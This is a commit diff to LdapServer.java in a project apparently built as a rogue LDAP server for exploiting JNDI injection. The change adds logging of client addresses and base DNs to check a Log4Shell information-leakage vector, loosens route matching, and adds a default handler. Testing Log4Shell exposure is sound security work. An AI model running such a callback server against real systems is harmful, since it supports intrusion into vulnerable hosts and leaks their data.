Log request and base DN to validate Log4Shell information leakage attack vector

src/main/java/artsploit/LdapServer.java

@@ -7,6 +7,10 @@
 import com.unboundid.ldap.listener.InMemoryListenerConfig;
 import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
 import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
+import com.unboundid.ldap.sdk.ReadOnlySearchRequest;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.net.Socket;
 import org.reflections.Reflections;
 
 import javax.net.ServerSocketFactory;
@@ -71,20 +75,58 @@ public LdapServer() throws Exception {
  */
  @Override
  public void processSearchResult(InMemoryInterceptedSearchResult result) {
- String base = result.getRequest().getBaseDN();
+ ReadOnlySearchRequest request = result.getRequest();
+ System.out.println("request: from: " + getRemoteAddress(result) + " " + request);
+ String base = request.getBaseDN();
+ System.out.println("base: " + base);
  LdapController controller = null;
  //find controller
  for(String key: routes.keySet()) {
- //compare using wildcard at the end
- if(key.equals(base) || key.endsWith("*") && base.startsWith(key.substring(0, key.length()-1))) {
+ // compare using contains
+ if (base.contains(key) && key.length() > 0 || key.equals(base)) {
  controller = routes.get(key);
  break;
  }
  }
+ if (controller == null) {
+ System.out.println("No controller for base '" + base + "', falling back to default.");
+ controller = routes.get("");
+ }
  try {
  controller.sendResult(result, base);
  } catch (Exception e1) {
  e1.printStackTrace();
  }
  }
+
+ // uses reflection to get the remote address of the client
+ // since the required method isn't available on the public API
+ private String getRemoteAddress(InMemoryInterceptedSearchResult result) {
+ if (getSocketMethod == null || getClientConnectionMethod == null) {
+ return null;
+ }
+ try {
+ Socket clientConnection = (Socket) getSocketMethod.invoke(getClientConnectionMethod.invoke(result));
+ return clientConnection.getRemoteSocketAddress().toString();
+ } catch (Exception e) {
+ e.printStackTrace();
+ return null;
+ }
+ }
+
+ private static Method getClientConnectionMethod;
+ private static Method getSocketMethod;
+
+ static {
+ Class<?> interceptedOperationClazz = null;
+ try {
+ interceptedOperationClazz = Class.forName("com.unboundid.ldap.listener.interceptor.InterceptedOperation");
+ getClientConnectionMethod = interceptedOperationClazz.getDeclaredMethod("getClientConnection");
+ getClientConnectionMethod.setAccessible(true);
+ getSocketMethod = getClientConnectionMethod.getReturnType().getDeclaredMethod("getSocket");
+ getSocketMethod.setAccessible(true);
+ } catch (ClassNotFoundException | NoSuchMethodException e) {
+ e.printStackTrace();
+ }
+ }
 }